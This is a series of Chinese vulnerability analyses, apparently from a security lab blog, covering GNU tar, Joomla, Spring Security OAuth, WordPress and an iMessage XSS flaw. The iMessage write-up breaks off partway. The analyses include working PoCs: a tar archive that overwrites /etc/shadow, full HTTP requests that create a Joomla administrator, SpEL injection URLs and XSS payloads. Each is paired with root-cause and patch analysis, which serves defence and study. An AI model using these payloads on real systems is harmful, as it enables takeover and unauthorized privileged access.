-
GNU tar 解压路径绕过漏洞(CVE-2016-6321) 分析
Author: LG(知道创宇404安全实验室) Date: 2016-11-09
0x00 漏洞概述
1.漏洞简介
GNU tar文档管理命令是Linux系统下常用的一个打包、压缩的命令。经 CSS(FSC1V Cyber Security Services)团队的研究员 Harry Sintonen 研究发现,tar 命令在提取路径时能够被绕过,在某些情况下导致文件被覆盖。在一些特定的场景下,利用此漏洞可导致远程代码执行。
2.漏洞影响
受害者使用tar命令解压由攻击者构造的特殊 tar 包时,tar 包不会解压到受害者制定的目标路径,而是被解压到攻击者指定的目录位置。
3.影响范围
从GNU tar 1.14 to 1.29 (包含1.29) 影响包括 Red Hat,Alphine Linux,Red Star OS以及其他所有使用 GNU tar 的 Linux 系统。
0x01 漏洞详情
1. 漏洞检测
方法一:
漏洞发现者给出了示例 PoC,用户可用其自检。 (该方法会覆盖用户帐号密码,导致 root 用户密码为空,建议使用实验环境测试或者采用方法二)
12curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motdcat etc/shadow示例poc:
示例poc中含有一个文件shadow,路径为
etc/motd/../etc/shadow
。在根目录下解压该包,由于漏洞的影响,../
前面的内容给去掉了,路径文件名只剩下etc/shadow
,原有etc/shadow
文件就被其覆盖了。方法二:
访问https://sintonen.fi/advisories/tar-poc.tar下载测试tar包后在提取前重命名 tar 包内的 shadow 文件名,如重命名为 test。然后运行如下命令:
1sudo -s tar -C / -xvf tar-poc.tar etc/motd查看 etc 目录下,若生成了 test 文件,证明该漏洞存在。
2.具体攻击场景
以下为漏洞发现者提供的实际攻击场景
1.攻击者可以用这种手段诱使用户替换一些重要的文件,例如
.ssh/authorized_keys
,.bashrc
,.bash_logout
,.profile
,.subversion
或.anyconnect
123456user@host:~$ dpkg --fsys-tarfile evil.deb | tar -xf - \--wildcards 'blurf*'tar: Removing leading `blurf/../' from member namesuser@host:~$ cat .ssh/authorized_keysssh-rsa AAAAB3...nU= mrrobot@fsocietyuser@host:~$2.有一些从 web 应用或者其它类似来源自动解压文件的脚本,这些脚本一般会以 setuid root 权限执行,通常这类脚本的解压命令如下:
1#tar -C / -zxf /tmp/tmp.tgz etc/application var/chroot/application/etc在这种情况下,攻击者可以重写
/var/spoon/cron/crontabs/root
以获取 root 身份的代码执行能力; 也可以将可能被 root 身份执行的二进制文件替换成一个有后门的版本; 或者投放一个 setuid root 的二进制文件,等待被管理员执行,使攻击者有机会获取 root 权限。3.以 root 身份执行解压命令也可能被攻击 。例如上文中提到覆写
/etc/shadow
的例子如果--exclude 规则与--anchored 选项同时使用,那么即使手动加了--exclude 规则也没有用,例如:
1tar -C / -xvf tar-poc.tar --anchored --exclude etc/shadow在两种情况下,攻击者都成功地把/etc/test替换成了任意内容。
不过,在实际利用这个漏洞时,攻击者需要首先知道一些特定的前导信息,例如解压命令执行时实际在命令行下指定的路径名,毕竟在构造攻击 tar 包时 “../” 序列之前的路径前缀需要符合 tar 命令中所输入的路径,攻击才能奏效。
3.漏洞分析
根据漏洞发现者的分析,在
lib/paxnames.c
文件中,有一个safernamesuffix()
函数,这个函数取代了1.13版本的检查机制。12345678910111213141516171819202122232425262728293031323334353637383940....char *safer_name_suffix (char const *file_name, bool link_target,bool absolute_names){char const *p;if (absolute_names)p = file_name;else{/* Skip file system prefixes, leading file name components that contain"..", and leading slashes. */size_t prefix_len = FILE_SYSTEM_PREFIX_LEN (file_name);for (p = file_name + prefix_len; *p; ){if (p[0] == '.' && p[1] == '.' && (ISSLASH (p[2]) || !p[2]))prefix_len = p + 2 - file_name;do{char c = *p++;if (ISSLASH (c))break;}while (*p);}for (p = file_name + prefix_len; ISSLASH (*p); p++)continue;prefix_len = p - file_name;if (prefix_len){const char *prefix;if (hash_string_insert_prefix (&prefix_table[link_target], file_name,prefix_len, &prefix)){static char const *const diagnostic[] ={N_("Removing leading `%s' from member names"),N_("Removing leading `%s' from hard link targets")};WARN ((0, 0, _(diagnostic[link_target]), prefix));}}}….}从代码注释可以看出,如果
absolute_names
变量为1,将 filename 赋值给 p 继续.反之若为 0 则将文件名中文件系统的前缀给去掉,并且也会对 filename 进行一些安全检查 。 因此,当 tar 解包时若文件名中包含“../”, safernamesuffix 函数会删除"../"及其之前的部分,将其与解压目录路径变为相对关系。这么做的目的是在兼顾文件名的安全性时保证文件的提取,而不是之前版本中改动的跳过含有恶意文件名的文件。在经过长达13年的应用后,这个漏洞终于被 Harry Sintonen 发现并公布出来。于是,笔者研究了这个漏洞相关的发展历史。 tar所有版本下载链接 发现:
- tar通过 src/extarct.c 提取文件
- extract.c Revision 1.35 前未加入安全检测,可以通过“../”字符串直接绕过解压路径问题,并将文件写到任意位置
- extract.c Revision 1.35 加入安全检测,会警告压缩文件文件名中存在“..”字符串,并且会跳过不去处理这些文件
- extract.c Revision 1.47引入 safernamesuffix 函数 - tar 1.16版本后,extract.c文件代码重构,在lib/paxnames.c 文件中定义 safernamesuffix 函数
然后笔者继续深入,通过tar官网extract.c文件更新列表对比,从源代码分析 tar 的安全检测行为。
1999/12/13 commit 前后对比
Revision 1.35官方tag中有一条: ++(extractarchive): By default, warn about ".." in member names, and skip them.++ 即Revision 1.35加入了(extractarchive):默认情况下,在成员名称中警告“..”,并跳过它们
上图中,绿色代码区的功能就填补了之前安全检测的空白。它首先遍历 CURRENTFILENAME,如果存在".."就会警告"Member name contains'..'",然后跳过这些文件,不去处理它们。而左边的灰色空白区域表明之前的版本缺少安全检测,"../"字符串就能绕过解压路径将文件写到任意位置。
2003/07/05 commit 前后对比
在Revision 1.47官方 tag 中: ++(extractarchive): Use safername_suffix rather than rolling our own.++ 这就是漏洞初始出现的位置了。
通过代码对比我们可以看到,更新的版本使用 safernamesuffix 函数来替代了开发者自己写的规则。
4.补丁分析
官方补丁地址 GNU tar修复了该漏洞,将安全检测机制重新替换回了 extract.c Revision 1.35的规则。
0x02 修复方案
更新补丁
http://git.savannah.gnu.org/cgit/tar.git/commit/?id=7340f67b9860ea0531c1450e5aa261c50f67165d
0x03 参考
https://www.seebug.org/vuldb/ssvid-92524
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=842339
https://sintonen.fi/advisories/tar-extract-pathname-bypass.proper.txt
https://sintonen.fi/advisories/tar-extract-pathname-bypass.patch
https://www.gnu.org/software/tar/
http://cvs.savannah.gnu.org/viewvc/tar/tar/src/extract.c?view=log&pathrev=release115_1#rev1.47
没有评论 -
Joomla未授权创建特权用户漏洞(CVE-2016-8869)分析
Author: p0wd3r (知道创宇404安全实验室) Date: 2016-10-26
0x00 漏洞概述
1.漏洞简介
Joomla是一个自由开源的内容管理系统,近日研究者发现在其3.4.4到3.6.3的版本中存在两个漏洞:CVE-2016-8869,CVE-2016-8870。我们在这里仅分析 CVE-2016-8869,利用该漏洞,攻击者可以在网站关闭注册的情况下注册特权用户。Joomla 官方已对此漏洞发布升级公告。
2.漏洞影响
网站关闭注册的情况下仍可创建特权用户,默认状态下用户需要用邮件激活,但需要开启注册功能才能激活。
3.影响版本
3.4.4 to 3.6.3
0x01 漏洞复现
1. 环境搭建
1wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz解压后放到服务器目录下,例如
/var/www/html
创建个数据库:
1docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql2.漏洞分析
注册
注册部分可参考:《Joomla未授权创建用户漏洞(CVE-2016-8870)分析》
提权
下面我们来试着创建一个特权用户。
在用于注册的
register
函数中,我们先看一下$model->register($data)
这个存储注册信息的方法,在components/com_users/models/registration.php
中:123456789101112131415public function register($temp){$params = JComponentHelper::getParams('com_users');// Initialise the table with JUser.$user = new JUser;$data = (array) $this->getData();// Merge in the registration data.foreach ($temp as $k => $v){$data[$k] = $v;}...}可以看到这里使用我们可控的
$temp
给$data
赋值,进而存储注册信息。正常情况下,$data
在赋值之前是这样的:而正常情况下我们可控的
$temp
中是没有groups
这个数组的,所以正常注册用户的权限就是我们配置中设置的权限,对应的就是groups
的值。那么提升权限的关键就在于更改
groups
中的值,因为$data
由我们可控的$temp
赋值,$temp
的值来自于请求包,所以我们可以构造如下请求包:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647POST /index.php/component/users/?task=registration.register HTTP/1.1...Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI...Cookie: yourcookie------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[name]"attacker2------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[username]"attacker2------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[password1]"attacker2------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[password2]"attacker2------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[email1]"attacker2@my.local------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[email2]"attacker2@my.local------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[groups][]"7------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="option"com_users------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="task"user.register------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="yourtoken"1------WebKitFormBoundaryefGhagtDbsLTW5qI--这里我们添加一组值:
name="user[groups][]" value=7
,让user
被当作二维数组,从而groups
被识别为数组,并设置数组第一个值为7,对应着Administrator
的权限。然后发包,通过调试可以看到
$temp
中已经有了groups
数组:最后创建了一个权限为
Administrator
的用户attacker2:通过存在漏洞的注册函数我们可以提权,那么在允许注册的情况下我们可不可以通过正常的注册函数来提权呢?
通过对比这两个函数,可以发现这样一点:
UsersControllerRegistration::register()
:1234567891011public function register(){...$data = $model->validate($form, $requestData);...// Attempt to save the data.$return = $model->register($data);...}UsersControllerUser::register()
:1234567891011public function register(){...$return = $model->validate($form, $data);...// Attempt to save the data.$return = $model->register($data);...}可以看到
UsersControllerRegistration::register()
中存储了对$requestData
验证后的$data
,而UsersControllerUser::register()
虽然同样进行了验证,但是存储的仍是之前的$data
。所以重点是validate
函数是否对groups
进行了过滤,我们跟进一下,在libraries/legacy/model/form.php
中:1234567public function validate($form, $data, $group = null){...// Filter and validate the form data.$data = $form->filter($data);...}再跟进
filter
函数,在libraries/joomla/form/form.php
中:12345678910111213141516171819202122232425262728293031323334public function filter($data, $group = null){...// Get the fields for which to filter the data.$fields = $this->findFieldsByGroup($group);if (!$fields){// PANIC!return false;}// Filter the fields.foreach ($fields as $field){$name = (string) $field['name'];// Get the field groups for the element.$attrs = $field->xpath('ancestor::fields[@name]/@name');$groups = array_map('strval', $attrs ? $attrs : array());$group = implode('.', $groups);$key = $group ? $group . '.' . $name : $name;// Filter the value if it exists.if ($input->exists($key)){$output->set($key, $this->filterField($field, $input->get($key, (string) $field['default'])));}}return $output->toArray();}可以看到这里仅允许
$fields
中的值出现在$data
中,而$fields
中是不存在groups
的,所以groups
在这里被过滤掉,也就没有办法进行权限提升了。2016-10-27 更新:
默认情况下,新注册的用户需要通过注册邮箱激活后才能使用。并且:
由于
$data['activation']
的值会被覆盖,所以我们也没有办法直接通过请求更改用户的激活状态。2016-11-01 更新:
感谢
三好学生
和D
的提示,可以使用邮箱激活的前提是网站开启了注册功能,否则不会成功激活。我们看激活时的代码,在
components/com_users/controllers/registration.php
中第28-99行的activate
函数:1234567891011121314151617public function activate(){$user = JFactory::getUser();$input = JFactory::getApplication()->input;$uParams = JComponentHelper::getParams('com_users');...// If user registration or account activation is disabled, throw a 403.if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0){JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));return false;}...}这里可以看到仅当开启注册功能时才允许激活,否则返回403。
3.补丁分析
官方删除了
UsersControllerUser::register()
方法。0x02 修复方案
升级到3.6.4
0x03 参考
https://www.seebug.org/vuldb/ssvid-92495
https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html
http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html
https://www.youtube.com/watch?v=Q_2M2oJp5l4
-
Joomla未授权创建用户漏洞(CVE-2016-8870) 分析
Author: p0wd3r (知道创宇404安全实验室) Date: 2016-10-26
0x00 漏洞概述
1.漏洞简介
Joomla是一个自由开源的内容管理系统,近日研究者发现在其3.4.4到3.6.3的版本中存在两个漏洞:CVE-2016-8869,CVE-2016-8870。我们在这里仅分析CVE-2016-8870,利用该漏洞,攻击者可以在网站关闭注册的情况下注册用户。Joomla官方已对此漏洞发布升级公告。
2.漏洞影响
网站关闭注册的情况下仍可创建用户,默认状态下用户需要用邮件激活,但需要开启注册功能才能激活。
3.影响版本
3.4.4 to 3.6.3
0x01 漏洞复现
1. 环境搭建
1wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz解压后放到服务器目录下,例如
/var/www/html
创建个数据库:
1docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql最后访问服务器路径进行安装即可。
2.漏洞分析
在存在漏洞的版本中我们可以看到一个有趣的现象,即存在两个用于用户注册的方法:
- 位于
components/com_users/controllers/registration.php
中的UsersControllerRegistration::register()
- 位于
components/com_users/controllers/user.php
中的UsersControllerUser::register()
我们对比一下代码:
UsersControllerRegistration::register()
:123456789101112131415161718192021222324public function register(){// Check for request forgeries.JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));// If registration is disabled - Redirect to login page.if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0){$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));return false;}$app = JFactory::getApplication();$model = $this->getModel('Registration', 'UsersModel');// Get the user data.$requestData = $this->input->post->get('jform', array(), 'array');// Validate the posted data.$form = $model->getForm();...}UsersControllerUser::register()
:1234567891011121314151617public function register(){JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));// Get the application$app = JFactory::getApplication();// Get the form data.$data = $this->input->post->get('user', array(), 'array');// Get the model and validate the data.$model = $this->getModel('Registration', 'UsersModel');$form = $model->getForm();...}可以看到相对于
UsersControllerRegistration::register()
,UsersControllerUser::register()
的实现中并没有这几行代码:1234567// If registration is disabled - Redirect to login page.if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0){$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));return false;}这几行代码是检查是否允许注册,也就是说如果我们可以用
UsersControllerUser::register()
这个方法来进行注册就可以绕过这个检测。通过测试可知正常的注册使用的是
UsersControllerRegistration::register()
,请求包如下:12345678910111213141516171819202122232425262728293031323334353637383940414243POST /index.php/component/users/?task=registration.register HTTP/1.1...Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI...Cookie: yourcookie------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="jform[name]"tomcat------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="jform[username]"tomcat------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="jform[password1]"tomcat------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="jform[password2]"tomcat------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="jform[email1]"tomcat@my.local------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="jform[email2]"tomcat@my.local------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="option"com_users------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="task"registration.register------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="yourtoken"1------WebKitFormBoundaryefGhagtDbsLTW5qI--虽然正常注册并没有使用
UsersControllerUser::register()
,但是并不代表我们不能使用。阅读代码可知,只要将请求包进行如下修改即可使用存在漏洞的函数进行注册:registration.register
->user.register
jform[*]
->user[*]
所以完整的复现流程如下:
- 首先在后台关闭注册功能,关闭后首页没有注册选项:
- 然后通过访问
index.php
抓包获取cookie,通过看index.php
源码获取token:
- 构造注册请求:
12345678910111213141516171819202122232425262728293031323334353637383940414243POST /index.php/component/users/?task=registration.register HTTP/1.1...Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI...Cookie: yourcookie------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[name]"attacker------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[username]"attacker------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[password1]"attacker------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[password2]"attacker------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[email1]"attacker@my.local------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[email2]"attacker@my.local------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="option"com_users------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="task"user.register------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="yourtoken"1------WebKitFormBoundaryefGhagtDbsLTW5qI-- - 发包,成功注册:
2016-10-27 更新:
默认情况下,新注册的用户需要通过注册邮箱激活后才能使用。并且:
由于
$data['activation']
的值会被覆盖,所以我们也没有办法直接通过请求更改用户的激活状态。2016-11-01 更新:
感谢
三好学生
和D
的提示,可以使用邮箱激活的前提是网站开启了注册功能,否则不会成功激活。我们看激活时的代码,在
components/com_users/controllers/registration.php
中第28-99行的activate
函数:1234567891011121314151617public function activate(){$user = JFactory::getUser();$input = JFactory::getApplication()->input;$uParams = JComponentHelper::getParams('com_users');...// If user registration or account activation is disabled, throw a 403.if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0){JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));return false;}...}这里可以看到仅当开启注册功能时才允许激活,否则返回403。
3.补丁分析
官方删除了
UsersControllerUser::register()
方法。0x02 修复方案
升级到3.6.4
0x03 参考
https://www.seebug.org/vuldb/ssvid-92496
https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html
http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html
https://www.youtube.com/watch?v=Q_2M2oJp5l4
- 位于
-
Spring Security OAuth RCE (CVE-2016-4977) 漏洞分析
Author: p0wd3r (知道创宇404安全实验室) Date: 2016-10-17
0x00 漏洞概述
1.漏洞简介
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块,在7月5日其维护者发布了这样一个升级公告,主要说明在用户使用
Whitelabel views
来处理错误时,攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。漏洞的发现者在10月13日公开了该漏洞的挖掘记录。2.漏洞影响
授权状态下远程命令执行
3.影响版本
2.0.0 to 2.0.9
1.0.0 to 1.0.5
0x01 漏洞复现
1. 环境搭建
1docker pull maven1234567891011FROM mavenWORKDIR /tmp/RUN wget http://secalert.net/research/cve-2016-4977.zipRUN unzip cve-2016-4977.zipRUN mv spring-oauth2-sec-bug/* /usr/src/mymavenWORKDIR /usr/src/mymavenRUN mvn clean installCMD ["java", "-jar", "./target/demo-0.0.1-SNAPSHOT.jar"]
1docker build -t mvn-spring . docker run --rm --name mvn-spring-app -p 8080:8080 mvn-spring2.漏洞分析
首先我们查看
src/resources/application.properties
的内容来获取clientid
和用户的密码:接着我们访问这个url:
http://localhost:8080/oauth/authorize?responsetype=token&clientid=acme&redirect_uri=hellotom
其中
client_id
就是我们前面获取到的,然后输入任意用户名,密码填上面的password
。点击登录后程序会返回这样一个页面:
可以看到由于
hellotom
对于redirect_uri
来说是不合法的值,所以程序会将错误信息返回并且其中带着hellotom
,那么这个不合法的值可不可以是一个表达式呢?我们再访问这个url:http://localhost:8080/oauth/authorize?responsetype=token&clientid=acme&redirect_uri=${2334-1}
结果如下:
可以看到表达式被执行,触发了漏洞。
下面看代码,由于程序使用
Whitelabel
作为视图来返回错误页面,所以先看/spring-security-oauth/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/WhitelabelErrorEndpoint.java
中第18-40行:1234567891011121314151617181920212223@FrameworkEndpointpublic class WhitelabelErrorEndpoint {private static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";@RequestMapping("/oauth/error")public ModelAndView handleError(HttpServletRequest request) {Map<String, Object> model = new HashMap<String, Object>();Object error = request.getAttribute("error");// The error summary may contain malicious user input,// it needs to be escaped to prevent XSSString errorSummary;if (error instanceof OAuth2Exception) {OAuth2Exception oauthError = (OAuth2Exception) error;errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());}else {errorSummary = "Unknown error";}model.put("errorSummary", errorSummary);return new ModelAndView(new SpelView(ERROR), model);}}
这里定义了Whitelabel
对错误的处理方法,可以看到程序通过oauthError.getSummary()
来获取错误信息,我们再次访问这个 url 并开启动态调试:http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}
请求中的
${2334-1}
已经被带入了errorSummary
中,然后errorSummary
被装入model
中,再用SpelView
进行渲染。我们跟进
SpelView
到spring-security-oauth/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java
中第21-54行:1234567891011121314151617181920212223242526class SpelView implements View {...public SpelView(String template) {this.template = template;this.context.addPropertyAccessor(new MapAccessor());this.helper = new PropertyPlaceholderHelper("${", "}");this.resolver = new PlaceholderResolver() {public String resolvePlaceholder(String name) {Expression expression = parser.parseExpression(name);Object value = expression.getValue(context);return value == null ? null : value.toString();}};}...public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)throws Exception {...String result = helper.replacePlaceholders(template, resolver);...}}可以看到在render
时通过helper
取${}
中的值作为表达式,再用parser.parseExpression
来执行,跟进一下replacePlaceholders
这个函数,在/org/springframework/util/PropertyPlaceholderHelper.class
第47-56行:12345678public String replacePlaceholders(String value, final Properties properties) {Assert.notNull(properties, "\'properties\' must not be null");return this.replacePlaceholders(value, new PropertyPlaceholderHelper.PlaceholderResolver() {public String resolvePlaceholder(String placeholderName) {return properties.getProperty(placeholderName);}});}这个函数是个递归,也就是说如果表达式的值中有
${xxx}
这样形式的字符串存在,就会再取xxx
作为表达式来执行。我们看动态调试的结果:
首先因为传入了
${errorSummary}
,取errorSummary
作为表达式来执行,继续执行程序:由于
errorSummary
中存在${2334-1}
,所以又取出了2334-1
作为表达式来执行,从而触发了漏洞。所以从这里可以看出,漏洞的关键点在于这个对表达式的递归处理使我们可控的部分也会被当作表达式执行。3.补丁分析
可以看到在第一次执行表达式之前程序将
$
替换成了由RandomValueStringGenerator().generate()
生成的随机字符串,也就是${errorSummary} -> random{errorSummary}
,但是这个替换不是递归的,所以${2334-1}
并没有变。然后创建了一个
helper
使程序取random{}
中的内容作为表达式,这样就使得errorSummary
被作为表达式执行了,而${2334-1}
因为不符合random{}
这个形式所以没有被当作表达式,从而也就没有办法被执行了。不过这个Patch有一个缺点:
RandomValueStringGenerator
生成的字符串虽然内容随机,但长度固定为6,所以存在暴力破解的可能性。0x02 修复方案
- 使用 1.0.x 版本的用户应放弃在认证通过和错误这两个页面中使用
Whitelabel
这个视图。 - 使用 2.0.x 版本的用户升级到 2.0.10 以及更高的版本
- https://www.seebug.org/vuldb/ssvid-92474
- http://secalert.net/#CVE-2016-4977
- https://pivotal.io/de/security/cve-2016-4977
- https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d
- https://github.com/spring-projects/spring-boot/blob/master/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java
- 使用 1.0.x 版本的用户应放弃在认证通过和错误这两个页面中使用
-
WordPress <= 4.6.1 使用语言文件任意代码执行 漏洞分析
Author: p0wd3r (知道创宇404安全实验室) Date: 2016-10-09
0x00 漏洞概述
1.漏洞简介
WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统,近日在 github (https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97)上爆出这样一个漏洞,在其 <=4.6.1 版本中,如果网站使用攻击者提前构造好的语言文件来对网站、主题、插件等等来进行翻译的话,就可以执行任意代码。
2.漏洞影响
任意代码执行,但有以下两个前提:
- 攻击者可以上传自己构造的语言文件,或者含有该语言文件的主题、插件等文件夹
- 网站使用攻击者构造好的语言文件来对网站、主题、插件等进行翻译
这里举一个真实场景中的例子:攻击者更改了某个插件中的语言文件,并更改了插件代码使插件初始化时使用恶意语言文件对插件进行翻译,然后攻击者通过诱导管理员安装此插件来触发漏洞。
3.影响版本
<= 4.6.1
0x01 漏洞复现
1. 环境搭建
1234docker pull wordpress<span class="token punctuation">:</span><span class="token number">4.6</span><span class="token punctuation">.</span><span class="token number">1</span>docker pull mysqldocker run <span class="token operator">--</span>name wp<span class="token operator">-</span>mysql <span class="token operator">-</span>e MYSQL_ROOT_PASSWORD<span class="token operator">=</span>hellowp <span class="token operator">-</span>e MYSQL_DATABASE<span class="token operator">=</span>wp <span class="token operator">-</span>d mysqldocker run <span class="token operator">--</span>name wp <span class="token operator">--</span>link wp<span class="token operator">-</span>mysql<span class="token punctuation">:</span>mysql <span class="token operator">-</span>d wordpress2.漏洞分析
首先我们来看这样一个场景:
在调用
create_function
时,我们通过}
将原函数闭合,添加我们想要执行的内容后再使用/*
将后面不必要的部分注释掉,最后即使我们没有调用创建好的函数,我们添加的新内容也依然被执行了。之所以如此,是因为create_function
内部使用了eval
来执行代码,我们看PHP手册上的说明:所以由于这个特性,如果我们可以控制
create_function
的$code
参数,那就有了任意代码执行的可能。这里要说一下,create_function
这个漏洞最早由80sec在08年提出,这里提供几个链接作为参考:- https://www.exploit-db.com/exploits/32416/
- https://bugs.php.net/bug.php?id=48231
- http://www.2cto.com/Article/201212/177146.html
接下来我们看Wordpress中一处用到
create_function
的地方,在wp-includes/pomo/translations.php
第203-209行:12345678910111213/*** Makes a function, which will return the right translation index, according to the* plural forms header* @param int $nplurals* @param string $expression*/function make_plural_form_function($nplurals, $expression) {$expression = str_replace('n', '$n', $expression);$func_body = "\$index = (int)($expression);return (\$index < $nplurals)? \$index : $nplurals - 1;";return create_function('$n', $func_body);}根据注释可以看到该函数的作用是根据字体文件中的
plural forms
这个header来创建函数并返回,其中$expression
用于组成$func_body
,而$func_body
作为$code
参数传入了create_function
,所以关键是控制$expresstion
的值。我们看一下正常的字体文件
zh_CN.mo
,其中有这么一段:Plural-Froms
这个 header 就是上面的函数所需要处理的,其中nplurals
的值即为$nplurals
的值,而plural
的值正是我们需要的$expression
的值。所以我们将字体文件进行如下改动:然后我们在后台重新加载这个字体文件,同时进行动态调试,可以看到如下情景:
我们payload中的
)
首先闭合了前面的(
,然后;
结束前面的语句,接着是我们的一句话木马,然后用/*
将后面不必要的部分注释掉,通过这样,我们就将payload完整的传入了create_function
,在其创建函数时我们的payload就会被执行,由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译,所以我们访问任何文件都可以触发这个payload:其中访问
index.php?c=phpinfo();
的函数调用栈如下:3.补丁分析
目前官方还没有发布补丁,最新版仍存在该漏洞。
0x02 修复方案
在官方发布补丁前建议管理员增强安全意识,不要使用来路不明的字体文件、插件、主题等等。
对于开发者来说,建议对
$expression
中的特殊符号进行过滤,例如:12$not_allowed = array(";", ")", "}");$experssion = str_replace($not_allowed, "", $expression);0x03 参考
- https://www.seebug.org/vuldb/ssvid-92459
- https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97
- http://php.net/manual/zh/function.create-function.php
- https://www.exploit-db.com/exploits/32416/
- https://bugs.php.net/bug.php?id=48231
- http://www.2cto.com/Article/201212/177146.html
- https://codex.wordpress.org/InstallingWordPressinYourLanguage
-
从老漏洞到新漏洞—iMessage 0day(CVE-2016-1843)挖掘实录
Author: SuperHei (知道创宇404安全实验室) Date: 2016-04-11
注:文章里“0day”在报告给官方后分配漏洞编号:CVE-2016-1843
0x00 背景
在前几天老外发布了一个在3月更新里修复的 iMessage xss 漏洞(CVE-2016-1764)细节 :
- https://www.bishopfox.com/blog/2016/04/if-you-cant-break-crypto-break-the-client-recovery-of-plaintext-imessage-data/
- https://github.com/BishopFox/cve-2016-1764
他们公布这些细节里其实没有给出详细触发点的分析,我分析后也就是根据这些信息发现了一个新的 0day。
0x01 CVE-2016-1764 漏洞分析
CVE-2016-1764 里的最简单的触发payload:
javascript://a/research?%0d%0aprompt(1)
可以看出这个是很明显javascript协议里的一个小技巧 %0d%0 没处理后导致的 xss ,这个 tips 在找 xss 漏洞里是比较常见的。这个值得提一下的是 为啥要用
prompt(1)
而我们常用的是alert(1)
,我实际测试了下发现 alert 确实没办法弹出来,另外在很多的网站其实把 alert 直接和谐过滤了,所以这里给提醒大家的是在测试xss的时候,把 prompt 替换 alert 是有必要的~遇到这样的客户端的 xss 如果要分析,第一步应该看看 location.href 的信息。这个主要是看是哪个域下,这个漏洞是在
applewebdata://
协议下,这个原漏洞分析里有给出。然后要看具体的触发点,一般在浏览器下我们可以通过看 html 源代码来分析,但是在客户端下一般看不到,所以这里用到一个小技巧:1javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)这里是 html 里的 head 代码
1<style>@media screen and (-webkit-device-pixel-ratio:2) {}</style><link rel="stylesheet" type="text/css" href="file:///System/Library/PrivateFrameworks/SocialUI.framework/Resources/balloons-modern.css">继续看下 body 的代码:
